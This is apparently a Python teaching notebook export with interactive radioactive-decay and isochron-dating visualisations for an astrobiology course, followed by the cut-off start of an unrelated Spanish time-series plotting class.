Initialize tracking of number of atoms\nParent_counts = []          # list of number of parent atoms \nDauther_counts = []          # list of number of daughter atoms\n\n# Generate a uniform random distribution of N_parent numbers from 0 to 1\nz = np.random.rand(N_parent)\n\n# Function to convert uniform distribution of random numbers to\n# a distribution weighted to model radiactive decay. The times are in number of \n# half-lives. \n#\n# The unsorted data representing the number of half-lifes until the individual\n# decay of each atom.\ndecay_times = -np.log(1 - z) / mu\ndecay_times_sorted = np.sort( decay_times )\n\n# Genereate array of numbers of atoms left\n# Adjusted so that each count contains 0 and N_parent\nParent_counts = np.arange(N_parent,-1, -1, dtype='int') # Number of parent atoms\nDaughter_counts = np.ones_like(Parent_counts)\nDaughter_counts = N_parent - Parent_counts   # Number of daughter atoms\n\n#\n# Construct Pandas data frames\n#\n\n# Time column adjusted to include t=0\ndecay_data = pd.DataFrame()\ndecay_data['time'] = np.concatenate((np.zeros(1), decay_times_sorted))\ndecay_data['Parent'] = Parent_counts\ndecay_data['Daughter'] = Daughter_counts\n\n# Data array for species\nspecies = pd.DataFrame()\nspecies['parent_long'] = ['Generic', 'Carbon', 'Thallium','Uranium','Rubidium']\nspecies['daughter_long'] = ['Generic', 'Nitrogen','Lead','Thorium','Strontium']\nspecies['parent_short'] = ['Parent', 'C-14','Tl-208','U-235','Rb-87']\nspecies['daughter_short'] = ['Daughter', 'N-14','Pb-208','Th-231','Sr-87']\nspecies['half-lives'] = [tau, 5730, 3.053 * 60, 703.8, 48.8]\nspecies['step-size'] = [h, 125, 0.05 * 60, 15, 1]\nspecies['timeunits'] = ['half-lives', 'years', 'seconds', 'million years', 'billion years']\n\n##\n## Define functions to respond to controls on population plots.\n##\n\ndef UpdateSpecies(change=None):\n    ##\n    ## Deal with possible changes of species\n    ##\n    \n    # Generate a new uniform random distribution of N_parent numbers from 0 to 1 and\n    # then convert uniform distribution to one weighted to model radioactive decay.\n    z = np.random.rand(N_parent)\n    decay_times = -np.log(1 - z) / mu\n    decay_times_sorted = np.sort( decay_times )\n    decay_data['time'] = np.concatenate((np.zeros(1), decay_times_sorted))\n    \n    # Reset the time to zero\n    Time_slide.value = 0\n    \n    # Adjust half-life data and limits on plots appropriately \n    new_index = species.loc[species.parent_long == pick_Species.value].index[0]\n    \n    # Set the half-life based the selected species\n    hf = species['half-lives'][new_index]\n    \n    # Set the limit on the time sider to be 10 half-lifes\n    Time_slide.max = max_half_lifes*hf\n    \n    # Set the time step on slider\n    Time_slide.step = species['step-size'][new_index]\n\n    # Updates the time slider label/units\n    unit_label.value = species['timeunits'][new_index]\n    \n    # Updates the time axes on the plot\n    x_time.max = Time_slide.max\n    ax_x_time.scale = x_time\n    ax_x_time.label = unit_label.value\n    \n    # Update tick values\n    ax_x_time.tick_values = list(half_life_ticks*hf)\n\n    # Update the legend\n    parent_label_new = species['parent_short'][new_index]\n    daughter_label_new = species['daughter_short'][new_index]\n    line_parent.labels = [parent_label_new]\n    line_daughter.labels = [daughter_label_new]\n    \n    # Update the species in the box that shows how many are present    \n    parent_label.value = parent_label_new + ' produced'\n    daughter_label.value = daughter_label_new + ' remaining'\n\n    # Now call the function for updating the plot in the event of a time change\n    UpdateTimes()\n\n    \ndef UpdateFraction(change=None):\n    ##\n    ## Deal with whether fraction view or number view selected to set scales for plot,\n    ## y values for plot, and label values\n    ##\n    if frac_or_num.value == False:\n        # Number count mode enabled\n\n        # Update axes and scales\n        fig_counts.axes = [ax_x_time, ax_y_number]\n        line_parent.scales={'x': x_time, 'y': y_number}\n        line_daughter.scales={'x': x_time, 'y': y_number}\n        pts_parent.scales={'x': x_time, 'y': y_number}\n        pts_daughter.scales={'x': x_time, 'y': y_number}\n        line_time.scales={'x': x_time, 'y': y_number}\n\n        # Update 'time line' limits\n        line_time.y = [0, N_parent]    \n    else:\n        # Fraction mode enabled\n\n        # Updated axes and scales\n        fig_counts.axes = [ax_x_time, ax_y_fraction]\n        line_parent.scales={'x': x_time, 'y': y_fraction}\n        line_daughter.scales={'x': x_time, 'y': y_fraction}\n        pts_parent.scales={'x': x_time, 'y': y_fraction}\n        pts_daughter.scales={'x': x_time, 'y': y_fraction}\n        line_time.scales={'x': x_time, 'y': y_fraction}\n\n        # Update 'time line' limits\n        line_time.y = [0, 1]\n\n    UpdateTimes()\n\n    \ndef UpdateTimes(change=None):\n    ##\n    ## Deal with changes in the time slider\n    ##\n\n    # Recall half-life of this species\n    species_idx = species.loc[species.parent_long == pick_Species.value].index[0]\n    hf = species['half-lives'][species_idx]\n\n    # Update time label with 3 significant figures\n    Time_label.value = str(nf.SigFig(Time_slide.value, 3))\n        \n    # Get the array of times\n    time_arr = hf * decay_data['time']\n    \n    # Set the times to be x values\n    line_daughter.x = time_arr\n    line_parent.x = line_daughter.x\n    pts_daughter.x = line_daughter.x\n    pts_parent.x = line_daughter.x\n    line_time.x = [Time_slide.value, Time_slide.value]\n    \n    # Changes the color of population to reflect the decays\n    for i in range(N_parent):\n        if Time_slide.value >= decay_times[i]*hf:\n            Colors[i] = 'blue'\n        else:\n            Colors[i] = 'red'\n    population_scat.colors = Colors\n    \n    # Identify where we are in the data set\n    i = 0\n    while i < N_parent + 1 and hf*decay_data['time'][i] < Time_slide.value:        \n        i += 1\n    if i > 0:\n        i -= 1\n        \n    # Update selection of the parent and daughter data to be plotted\n    if Plot_all_times:\n        daughter_decay = decay_data['Daughter']\n        parent_decay = decay_data['Parent']\n    else:\n        daughter_decay = decay_data['Daughter'][0:i+1]\n        parent_decay = decay_data['Parent'][0:i+1] \n    \n    line_parent.y = parent_decay\n    line_daughter.y = daughter_decay\n        \n    ##\n    ## Deal with whether fraction view or number view selected to set scales for plot,\n    ## y values for plot, and label values\n    ##\n    if frac_or_num.value == False:\n        # Number count mode enabled\n\n        # Update number of parent and daughter in labels\n        parent_present.value = str(decay_data['Parent'][i])\n        daughter_present.value = str(decay_data['Daughter'][i])\n    else:\n        # Fraction mode enabled\n        \n        # Update the x and y arrays for the parent and daughter lines\n        line_parent.y = (1/N_parent)*parent_decay\n        line_daughter.y = (1/N_parent)*daughter_decay\n    \n        # Update number of parent and daughter in labels\n        parent_present.value = '{:.3f}'.format((1/N_parent)*decay_data['Parent'][i])\n        daughter_present.value = '{:.3f}'.format((1/N_parent)*decay_data['Daughter'][i])\n    \n    # Update parent and daughter lines\n    pts_parent.y = line_parent.y\n    pts_daughter.y = line_daughter.y\n    \n    # Update the tooltip labels and formats (Bug? Doesn't appear to be working)\n    #pts_parent.tooltip.labels[1] = parent_label_new\n    #pts_daughter.tooltip.labels[1] = daughter_label_new\n    #if frac_or_num.value == False:\n    #    pts_parent.tooltip.formats[1] = '3.0f'\n    #    pts_daughter.tooltip.formats[1] = '3.0f'\n    #else:\n    #    pts_parent.tooltip.formats[1] = '0.3f'\n    #    pts_daughter.tooltip.formats[1] = '0.3f'\n        \n\n\n##\n## Set up counts versus time plot\n##\n\n# Set up Species to be Generic\ninit_species_ind = 0  \n\n# Set up initial time\ninit_time = 0\ninit_time_idx = 0\n\n# Set up axes\nx_time = bq.LinearScale(min = 0, max=max_half_lifes)\ny_number = bq.LinearScale(min = 0, max=N_parent)\ny_fraction = bq.LinearScale(min = 0, max=1)\n\n# Labels and scales for Axes\nax_x_time = bq.Axis(label=species['timeunits'][init_species_ind], scale=x_time, num_ticks = time_ticks,\n                    tick_values = half_life_ticks )\nax_y_number = bq.Axis(label='Number of atoms', scale=y_number, orientation='vertical')\nax_y_fraction = bq.Axis(label='Fraction of atoms', scale=y_fraction, orientation='vertical')\n\n# Define tooltip (Bug: doesn't allow relabeling Tooltips, also needs to apply to Scatter, not Lines)\n#def_tt_parent = bq.Tooltip(fields=['x', 'y'], formats=['.2f', '3.0f'], labels=['time', species['parent_short'][init_species_ind]])\n#def_tt_daughter = bq.Tooltip(fields=['x', 'y'], formats=['.2f', '3.0f'], labels=['time', species['daughter_short'][init_species_ind]])\ndef_tt_parent = bq.Tooltip(fields=['x', 'y'], formats=['.2f', '.3f'], labels=['time', 'amount of parent isotope'])\ndef_tt_daughter = bq.Tooltip(fields=['x', 'y'], formats=['.2f', '.3f'], labels=['time', 'amount of daughter isotope'])\n\n# Define the Lines and Scatter plots\n# NOTE: Scatter only necessary to allow tooltips to function.\ninit_x = decay_data['time']*species['half-lives'][init_species_ind]\nif Plot_all_times:\n    init_parent = decay_data['Parent']\n    init_daughter = decay_data['Daughter']\nelse:\n    init_parent = decay_data['Parent'][0:init_time_idx]\n    init_daughter = decay_data['Daughter'][0:init_time_idx]\n    \npts_parent = bq.Scatter(x=init_x, y=init_parent,\n                      scales={'x': x_time, 'y': y_number}, marker='circle', default_size=2,\n                      display_legend=False, colors=['red'], labels=[species['parent_short'][init_species_ind]], \n                      tooltip=def_tt_parent)\npts_daughter = bq.Scatter(x=init_x, y=init_daughter,\n                        scales={'x': x_time, 'y': y_number}, marker='circle', default_size=2,\n                        display_legend=False, colors=['blue'], labels=[species['daughter_short'][init_species_ind]],\n                        tooltip=def_tt_daughter)\nline_parent = bq.Lines(x=init_x, y=init_parent, \n                       scales={'x': x_time, 'y': y_number}, display_legend=True, colors=['red'], \n                       labels=[species['parent_short'][init_species_ind]], )\nline_daughter = bq.Lines(x=init_x, y=init_daughter, \n                         scales={'x': x_time, 'y': y_number}, display_legend=True, colors=['blue'], \n                         labels=[species['daughter_short'][init_species_ind]] )\n\n# Set up a vertical line on this plot to indicate the current time\ntimes_x = [init_time, init_time]\ntimes_y = [0, N_parent]\nline_time = bq.Lines(x=times_x, y=times_y,\n                     scales={'x': x_time, 'y': y_number}, \n                     colors=['greenyellow'])\n\n# Creates figure for plot\nfig_counts = bq.Figure(axes=[ax_x_time, ax_y_number], marks=[line_parent, line_daughter, line_time, pts_parent, pts_daughter], \n                       legend_location='right', legend_style={'fill': 'white'}, \n                       title='Counts versus Time', background_style={'fill': 'black'}, \n                       layout={'width': '500px', 'min_height': '400px'},\n                      animation=1000)\n\n# Slider widget to control the amount of time that has passed\n# Set for generic half-life situation initially (0 to 10 half-lifes)\nTime_slide = widgets.FloatSlider(\n    value=0.,\n    description='Time',\n    min=0.,\n    max=max_half_lifes,\n    step=h,\n    disabled=False,\n    continuous_update=False,\n    orientation='horizontal',\n    readout=False,\n    readout_format='.1f',\n    layout=widgets.Layout(overflow_x='visible',\n                          overflow_y='visible',\n                          width='400px',\n                          max_width='500px',\n                          min_width='250px')\n)\n\n# Widget to display the number of parent atoms present\nparent_present = widgets.Text(\n    value = str(N_parent),\n    style = {'description_width': 'initial'},\n    #description = species['parent_short'][0]+' remaining',\n    disabled = True,\n    layout=widgets.Layout(overflow_x='visible',\n                          overflow_y='visible',\n                          width='175px',\n                          max_width='300px',\n                          min_width='125px')\n)\n\n# Widget to display the number of daughter atoms present\ndaughter_present = widgets.Text(\n    value = str(0),\n    style = {'description_width': 'initial'},\n    #description = species['daughter_short'][0]+' produced',\n    disabled = True,\n    layout=widgets.Layout(overflow_x='visible',\n                          overflow_y='visible',\n                          width='175px',\n                          max_width='300px',\n                          min_width='125px')\n)\n\n# Widgets to label the time slider with units\nTime_label = widgets.Label(value=str(Time_slide.value))\nunit_label = widgets.Label(value=str(species['timeunits'][0]))\nComposite_Time_Label = widgets.HBox([Time_label, unit_label],\n                                   layout=widgets.Layout(width='200px'))\n\n# Labels for the parent/daughter present displays\nparent_label = widgets.Label(value=species['parent_short'][0]+' remaining',\n                             layout=widgets.Layout(width='200px', \n                                                   overflow_x='visible',\n                                                   overflow_y='visible') )\ndaughter_label = widgets.Label(value=species['daughter_short'][0]+' produced',\n                             layout=widgets.Layout(width='200px', \n                                                   overflow_x='visible',\n                                                   overflow_y='visible') )\n\n# Checkbox to choose whether to display the number of each species\n# or the fraction of each\nfrac_or_num = widgets.Checkbox(value=False, description='Display as fraction of atoms')\n\n# Widget to allow one to choose which species to work with\npick_Species = widgets.RadioButtons(options=species['parent_long'][:],\n                                    value='Generic', description='Species:', disabled=False,\n                                    layout=widgets.Layout(width='250px'))\n\n\n# Scale for population figure\nx_sc = bq.LinearScale(min=1, max=np.sqrt(N_parent))\ny_sc = bq.LinearScale(min=1, max=np.sqrt(N_parent))\n\n# Axes for population figure\nax_x = bq.Axis(scale=x_sc, num_ticks=0)\nax_y = bq.Axis(scale=y_sc, orientation='vertical', num_ticks=0)\n\n# Creates an array of x values: [1,2,...,30,1,2,...30,.....,1,2,...,30]\nx_ls = []\nfor i in range(1,int(np.sqrt(N_parent))+1):\n    x_ls.append(float(i))\nx_ls = x_ls * int(np.sqrt(N_parent))\nx_arr = np.array(x_ls)\n\n# Creates an array of y values: [1,1,...,1,2,2,...2,......,30,30,...,30]\ny_ls = []\nfor i in range(1,int(np.sqrt(N_parent))+1):\n    y_ls += [float(i)] * int(np.sqrt(N_parent))\ny_arr = np.array(y_ls)    \n\n# Creates a color array with the same number of entries as the number of atoms in\n# the sample\nColors = ['red'] * N_parent\n\n# Plot the population model\npopulation_scat = bq.Scatter(x=x_arr, y=y_arr, scales={'x': x_sc, 'y': y_sc}, colors =['red'])\n\n# Picking a new species resets everything\npick_Species.observe(UpdateSpecies, names=['value'])\n\n# Update view from fraction to/from number\nfrac_or_num.observe(UpdateFraction, names=['value'])\n\n# Update times\nTime_slide.observe(UpdateTimes, names=['value'])\nTime_label.observe(UpdateTimes, names=['value'])\n\n# Figure for the population\nfig_population = bq.Figure(title='Population of Atoms', marks=[population_scat], axes=[ax_x, ax_y], \n                background_style={'fill' : 'black'},padding_x = 0.025,\n                min_aspect_ratio=1, max_aspect_ratio=1)\n\n# Boxes to organize display\nparent_box = widgets.HBox([parent_label, parent_present],\n                          layout=widgets.Layout(overflow_x='visible', overflow_y='visible'))\ndaughter_box = widgets.HBox([daughter_label, daughter_present],\n                            layout=widgets.Layout(overflow_x='visible', overflow_y='visible'))\n# Set visibility of the exact counts/fractions\nif (show_counts == False):\n    parent_box.layout.visibility = 'hidden'\n    daughter_box.layout.visibility = 'hidden'\n\nvalue_box = widgets.VBox([parent_box, daughter_box])\nspecies_box = widgets.HBox([value_box, pick_Species])\n\nslide_box = widgets.HBox([Time_slide, Composite_Time_Label])\nslide_check_box = widgets.VBox([slide_box, frac_or_num])\n\ntop_box = widgets.HBox([fig_counts, fig_population],\n                      layout=widgets.Layout(width='900px'))\ntop_box.children[0].layout.width = '450px'\ntop_box.children[1].layout.width = '450px'\n\nbottom_box = widgets.HBox([species_box, slide_check_box],\n                      layout=widgets.Layout(width='900px'))\nbottom_box.children[0].layout.width = '450px'\nbottom_box.children[1].layout.width = '450px'\n\n# Final display\nFinal = widgets.VBox([top_box, bottom_box])\nFinal.layout.overflow = 'hidden'\ndisplay(Final)\n\n## Interactive Figure 2: Geochron Plot\n\nAssuming a non-radiogenic isotope (that is, an isotope that is not the result of radioactive decay) that also will not decay, its amount should be constant.  This means that for different mineral samples we can measure the ratio of parent isotope versus the non-radiogenic isotope ($P/D_i$) and daughter isotope ($D$) versus the non-radiogenic isotope ($D/D_i$) to build an geochron plot.  For example, using the following isotopes\n\n- $D_i$ (non-radiogenic isotope of daughter element)\n- $D$ (Daughter Isoptope)\n- $P$ (Parent isotope)\n\nan geochron plot could plot $D/D_i$ versus $P/D_i$.  \n\nWhat sets the *geochron method* (also known as the *isochron method*) apart from the just measuring parent and daughter abundances is the use of the non-radiogenic isotope of the daughter element.  This avoids the assumption of no initial daughter isotope before the rock solidified (radioactive decay can occur while rock is molten).\n\nSome minerals in the rock incorporate the parent better than daughter which is why the initial amount of parent \nisotope versus daughter isotope can vary.  We expect daughter versus non-radiogenic isotope ratio to be constant\nif we pick the non-radiogenic isotope to be the same element as the daughter isotope.\n\nWith all this said, it is actually often not this simple as many daughter isotopes are themselves radioactive and decay, leading to a chain of reactions, so comparing abundances of parent to daughter isotopes is not simple.\n\n*Note:* The idea for the geochron dating interactive came from a Isochron Diagram Java app at *ScienceCourseware.org*.  However that app had some issues in that it didn't divide by a non-radiogenic isotope (or at least didn't mention it).  In fact, they used $D_i$ for the initial amount of daughter isotope instead of the non-radiogenic isotope of the same element as the daughter isotope.\n\nConsider the following questions:\n\n1. Notice that the geochron shown here is using the parent and daugther isotope ratios for 4 mineral samples in a rock.  Consider the sample that starts off with the most parent isotope initially (the point initially farthest to the right).  Adjust the geochron to show the samples after 1 half-life.  How much of that parent isotope was there initially?  How much is there after 1 half-life?  Does this make sense? \n2. Consider the sample that starts off with the least parent isotope initially (the point initially farthest to the left).  Adjust the geochron to show the samples after 1 half-life.  How much of that parent isotope was there initially?  How much is there after 1 half-life?  Does this make sense? \n3. What fraction of the parent isotope should have decayed into daughter isotope after one half-life?  Does it matter if the mineral sample we look at started with more parent isotope than another mineral sample in the same rock?  Why or why not?  \n4. Why is it as time elapses that the points representing the 4 mineral samples all move toward the upper left?  Can you explain why their motions are parallel to one another?\n4. Imagine you are looking at the parent isotope Rubidium-87 which decays into Strontium-87.  You examine 4 mineral samples in an meteorite and they line up in a line with a slope of 0.0666.  Determine the age of that meteorite (or rather, the time since it solidified).  Also explain how we can determine how much of the daughter isotope was in the meteorite initially.\n\n\n##\n## Define the various isotopes we want to consider\n##\n\nisotope_info = pd.DataFrame(columns=['Name', 'PName', 'PAbbrev', 'DName', 'DAbbrev', 'DiName', 'DiAbbrev', 'HalfLife', 'HLUnits'])\nisotope_info['index'] = ['generic', 'Rb87']\nisotope_info['Name'] = ['Generic', 'Rb-87->Sr-87']\nisotope_info['PName'] = ['Parent', 'Rubidium-87']\nisotope_info['PAbbrev'] = ['P', 'Rb-87']\nisotope_info['DName'] = ['Daughter', 'Strontium-87']\nisotope_info['DAbbrev'] = ['D', 'Sr-87']\nisotope_info['DiName'] = ['Non-Radiogenic Isotope of Daughter Element', 'Strontium-86']\nisotope_info['DiAbbrev'] = ['D_i', 'Sr-86']\nisotope_info['HalfLife'] = [ 1, 48.8 ]\nisotope_info['HLUnits'] = [ 'half-lives', 'Billion years']\nisotope_info = isotope_info.set_index('index')\n\n# Set initial isotope to plot\ninit_isotope = 'generic'\n\n##\n## Define the initial amounts of parent and daughter in the sample.\n##\n## In principle, I would change this depending on the isotopes we plot.  But I am only plotting\n## Rb87 --> Sr-87, since that is the most classical use of this Geochron approach.\n##\n\n# Range of P to D_i fractions and initial amounts of D to D_i to consider\nP2Di_min = 0.05\nP2Di_max = 0.40\nD2Di0_min = 0.05\nD2Di0_max = 0.75\n\n# Generate three mineral samples in different thirds of the entire range\nrange_P2Di  = (P2Di_max-P2Di_min)\n\n# Create sample amounts\nn_samples = 4\nnums = np.array(list(range(1, n_samples+1)))\ninitial_samples = pd.DataFrame(index=nums)\ninitial_D2Di0 = D2Di0_min + (D2Di0_max - D2Di0_min) * np.random.random()\ninitial_samples['P2Di'] = P2Di_min + (range_P2Di/n_samples) * (nums - np.random.random(n_samples))\ninitial_samples['D2Di'] = initial_D2Di0*np.ones_like(nums)\n\n\n##\n## Define functions to call when building interactive plot\n##\n\ndef amt_left(sample_in, taus):\n    # Generate a sample DataFrame after tau half-lifes given an initial DataFrame\n    sample = sample_in.copy(deep = True)\n    sample['P2Di'] = sample_in['P2Di']*((1/2)**(taus))\n    sample['D2Di'] = sample_in['D2Di'] + sample_in['P2Di']*(1 - (1/2)**(taus))\n    return sample\n\ndef line_points(sample):\n    global x_min, x_max, y_min, y_max, initial_D2Di0\n    \n    # Determine the end points of a line going through the sample points.\n    x_range = x_max - x_min\n    y_range = y_max - y_min\n    \n    # Slope (extrapolate from first two points - could be done by a fit to the points)\n    slope = (sample['D2Di'][2]-sample['D2Di'][1])/(sample['P2Di'][2]-sample['P2Di'][1])\n    y_final = initial_D2Di0 + slope*x_range\n    x_points = (x_min, x_max)\n    y_points = (initial_D2Di0, y_final)\n    return x_points, y_points, slope\n\ndef init2current(samples0, samples):\n    # Compute the lines connecting initital and final points for plotting\n    n_pts = len(samples0)\n\n    xlist = []\n    ylist = []\n    for pt in range(1, n_pts+1):\n        x = np.array([ samples0['P2Di'][pt], samples['P2Di'][pt] ])\n        y = np.array([ samples0['D2Di'][pt], samples['D2Di'][pt] ])\n        xlist.append(x)\n        ylist.append(y)\n    \n    return(xlist, ylist)\n    \ndef HL_changed(change):\n    global isotope, sample, initial_samples, dots_current, line_current, connectors, slope_label\n    \n    # Determine half-life of this isotope\n    idx = (isotope_info.Name == isotope.value)\n    HL = float(isotope_info[idx].HalfLife.tolist()[0])\n    \n    # How many half-lives have passed?  Use this to get new sample and line info\n    this_tau = HL_slider.value / HL\n    sample = amt_left(initial_samples, this_tau)\n    x_sample, y_sample, slope =  line_points(sample)\n    \n    # Update plot\n    dots_current.x = sample['P2Di']\n    dots_current.y = sample['D2Di']\n    line_current.x = x_sample\n    line_current.y = y_sample\n    slope_label.value = 'Slope: {0:0.4f}'.format(slope)\n    xlist, ylist = init2current(initial_samples, sample)\n    connectors.x = xlist\n    connectors.y = ylist\n    \n    \ndef isotope_changed(change):\n    global ax_x_P2Di, ax_y_D2Di, HL_slider, HLlabel, UnitsText, Max_half_lives\n\n    # Extract the necessary isotope descriptors from the Pandas DataFrame\n    idx = (isotope_info.Name == change.new)\n    HL = float(isotope_info[idx].HalfLife.tolist()[0])\n    HLUnits = isotope_info[idx].HLUnits.tolist()[0]\n    PAbbrev = isotope_info[idx].PAbbrev.tolist()[0]\n    DAbbrev = isotope_info[idx].DAbbrev.tolist()[0]\n    DiAbbrev = isotope_info[idx].DiAbbrev.tolist()[0]\n\n    # Get old half-life\n    idx_old = (isotope_info.Name == change.old)\n    HL_old = float(isotope_info[idx_old].HalfLife.tolist()[0])\n\n    # Determine current age reading from slider and adjust to new units\n    init_age = HL_slider.value \n    \n    # Hard code generic versus others\n    if (change.new != isotope_info.loc['generic'].Name):\n        HL_slider.description = \"Time\"\n    else: \n        HL_slider.description = \"Half-lives\"    \n\n    # Adjust time scales\n    if (HL_old < HL):\n        # Adjust maximum limits first before adjusting values (since new HL > old HL)\n        HL_slider.max = Max_half_lives*HL\n        HLlabel.max = HL_slider.max \n        HL_slider.value = HL*(init_age/HL_old)\n        HLlabel.value = HL_slider.value       \n    else:\n        # Adjust maximum limits after adjusting values (since new HL < old HL)\n        HL_slider.value = HL*(init_age/HL_old)\n        HLlabel.value = HL_slider.value\n        HL_slider.max = Max_half_lives*HL\n        HLlabel.max = HL_slider.max \n                \n    # Set the axes and other labels to display\n    UnitsText.value = HLUnits\n    ax_x_P2Di.label = '{0} / {1}'.format(PAbbrev, DiAbbrev)\n    ax_y_D2Di.label = '{0} / {1}'.format(DAbbrev, DiAbbrev)\n\n\n\n##\n## Set up isochron plot\n##\n\n# Largest possible fraction of decay (only go out to 5 half-lives)\nMax_half_lives = 5\nMax_decay_fraction = 1 - (1/2)**(Max_half_lives)\n\n# detemine maximum and minimum values of X and Y axes\nx_step = 0.05\nx_min = 0\nx_max = x_step * ceil(initial_samples['P2Di'][n_samples] / x_step)\ny_step = 0.04\ny_min = y_step * floor(initial_D2Di0 / y_step)\ny_max = y_step * ceil((initial_D2Di0 + initial_samples['P2Di'][n_samples] * Max_decay_fraction) / y_step)\n\n# Labels and scales for Axes\nx_P2Di = bq.LinearScale(min = x_min, max = x_max)\ny_D2Di = bq.LinearScale(min = y_min, max = y_max)\nax_x_P2Di = bq.Axis(label='P / D_i', scale=x_P2Di)\nax_y_D2Di = bq.Axis(label='D / D_i', scale=y_D2Di, orientation='vertical')\n\n# Set up initial conditions\ntaus = 0    # zero half lives past\nsample = amt_left(initial_samples, taus)\n\n##\n## Define the lines\n##\n\n# Initial amount of daughter line (with dots for initial amounts of parent)\nx_init, y_init, slope_init =  line_points(initial_samples)\nline_initial = bq.Lines(x=x_init, y=y_init, scales={'x': x_P2Di, 'y': y_D2Di}, \n                   line_style='dashed', colors=['red'], labels=['Initial Sample'])\ndots_initial = bq.Scatter(x=initial_samples['P2Di'], y=initial_samples['D2Di'], scales={'x': x_P2Di, 'y': y_D2Di}, \n                   colors=['white'], stroke='red', fill= True, labels=['Initial Isochron'])\n\n# Current quantities on isochron line\nx_sample, y_sample, slope =  line_points(sample)\nline_current = bq.Lines(x=x_sample, y=y_sample, scales={'x': x_P2Di, 'y': y_D2Di}, \n                   line_style='solid', colors=['red'], labels=['Current Isochron'])\ndots_current = bq.Scatter(x=sample['P2Di'], y=sample['D2Di'], scales={'x': x_P2Di, 'y': y_D2Di}, \n                   colors=['red'], stroke='red', fill= True, labels=['Current Isochron'])\n\n# Connect Initial and Current quantities on isochron line\nxlist, ylist = init2current(initial_samples, sample)\nconnectors = bq.Lines(x=xlist, y=ylist, scales={'x': x_P2Di, 'y': y_D2Di}, \n                   line_style='dotted', colors=['black'])\n\n##\n## Construct plot\n##\nisochron = bq.Figure(axes=[ax_x_P2Di, ax_y_D2Di], \n                     marks=[connectors, line_initial, dots_initial, line_current, dots_current],\n                     title='Geochron Diagram', \n                     layout={'width': '700px', 'height': '500px', \n                             'max_width': '700px', 'max_height': '500px',\n                             'min_width': '600px', 'min_height': '400px'})\n\n##\n## Construct controls\n##\n\n# Select Generic or Specific Isotopes\nisotope = widgets.RadioButtons(options=list(isotope_info.Name), \n                               value=isotope_info.loc[init_isotope].Name, description='Isotope:', \n                               disabled=False, \n                               layout=widgets.Layout(height='75px', max_height='100px', min_height='50px', \n                                                    width='200px', max_width='300px',  min_width='100px'))\nisotope.observe(isotope_changed, 'value')\n\n# Slider and text field controling age\nidx = (isotope_info.Name == isotope.value)\nHL = float(isotope_info[idx].HalfLife.tolist()[0])\nHLUnits = isotope_info[idx].HLUnits.tolist()[0]\n\nHL_slider = widgets.FloatSlider(value=0, min=0, max=Max_half_lives*HL, step=0.02,\n                                description='Half-lives', disabled=False,\n                                continuous_update=False, orientation='horizontal',\n                                readout=False, readout_format='.2f',\n                                layout=widgets.Layout(height='75px', max_height='100px', min_height='50px', \n                                                    width='200px', max_width='300px',  min_width='100px'))\nHL_slider.observe(HL_changed, 'value')\n\n# Get units value and units for age label, then apply them\nHLlabel = widgets.BoundedFloatText(value = HL_slider.value, min = HL_slider.min, max = HL_slider.max, \n                                   step = HL_slider.step,\n                                       layout={'width': '75px', 'height': '50px', \n                                               'max_width': '75px', 'max_height': '75px',\n                                               'min_width': '50px', 'min_height': '50px'})\nUnitsText = widgets.Label(value=HLUnits)\nage_label = widgets.HBox([HLlabel, UnitsText])\n# Link HL slider with this text\nwidgets.jslink((HL_slider, 'value'), (HLlabel, 'value'))\n\n# Describe slope\nslope_label = widgets.Label(value = 'Slope: {0:0.4f}'.format(slope),\n                                       layout={'align_items':'center','align_content':'center', \n                                               'justify_content':'center', \n                                               'width': '100px', 'height': '50px', \n                                               'max_width': '100px', 'max_height': '75px',\n                                               'min_width': '50px', 'min_height': '50px'})\n\n\ncontrols = widgets.VBox( [isotope, HL_slider, age_label, slope_label], \n                        layout=widgets.Layout(align_content='center', align_items='center', \n                                              justify_content='center', \n                                              width='300px', height='500px', \n                                              max_width='300px', max_height='500px',\n                                              min_width='100px', min_height='400px',\n                                              overflow_x='hidden', overflow_y='hidden') )\n\ndisplay(widgets.HBox( [isochron, controls] ) )", "meta": {"hexsha": "a81f82ee85b41aa0d4e1c704c14b082c1db05f7f", "size": 36144, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/content/02/Radioactivity.py", "max_stars_repo_name": "edur409/ASTROBIOLOGY200", "max_stars_repo_head_hexsha": "868d02a10b4be5f71935325c43e89b02567e4e26", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/content/02/Radioactivity.py", "max_issues_repo_name": "edur409/ASTROBIOLOGY200", "max_issues_repo_head_hexsha": "868d02a10b4be5f71935325c43e89b02567e4e26", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/content/02/Radioactivity.py", "max_forks_repo_name": "edur409/ASTROBIOLOGY200", "max_forks_repo_head_hexsha": "868d02a10b4be5f71935325c43e89b02567e4e26", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.18, "max_line_length": 501, "alphanum_fraction": 0.6671093404, "include": true, "reason": "import numpy", "num_tokens": 8967, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.27825679370240214, "lm_q2_score": 0.20434189751412138, "lm_q1q2_score": 0.05685952122134427}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jul 16 09:22:00 2018\r\n@author: Luis Solis\r\n\r\nSerie temporal para gr\u00e1ficos con el m\u00f3dulo matplotlib\r\n\r\nversion: 0.4\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib as mpl\r\n\r\nclass Time_series():\r\n    \"\"\"\r\n    Define los datos y sus atributos para ser representados en un\r\n        gr\u00e1fico\r\n    \"\"\"\r\n    def __init__(self, fechas: [], values: [], legend: str, marker: str = '.',\r\n                 scatter: int = 0, slinestyle: str = '-',\r\n                 copy_data: bool = True):\r\n        \"\"\"\r\n        fechas: lista de dates\r\n        values: lista de floats o integeres\r\n        legend: leyenda de la serie\r\n        marker: marcador\r\n        scatter: tipo de l\u00ednea\r\n        linestyle: estilo de l\u00ednea\r\n        \"\"\"\r\n        from copy import deepcopy\r\n        if len(fechas) < 1 or len(values) < 1:\r\n            raise ValueError('fechas y/0 values no tienen datos')\r\n        if len(fechas) != len(values):\r\n            raise ValueError('fechas y values != longitud')\r\n        if copy_data:\r\n            self.fechas = deepcopy(fechas)\r\n            self.values = 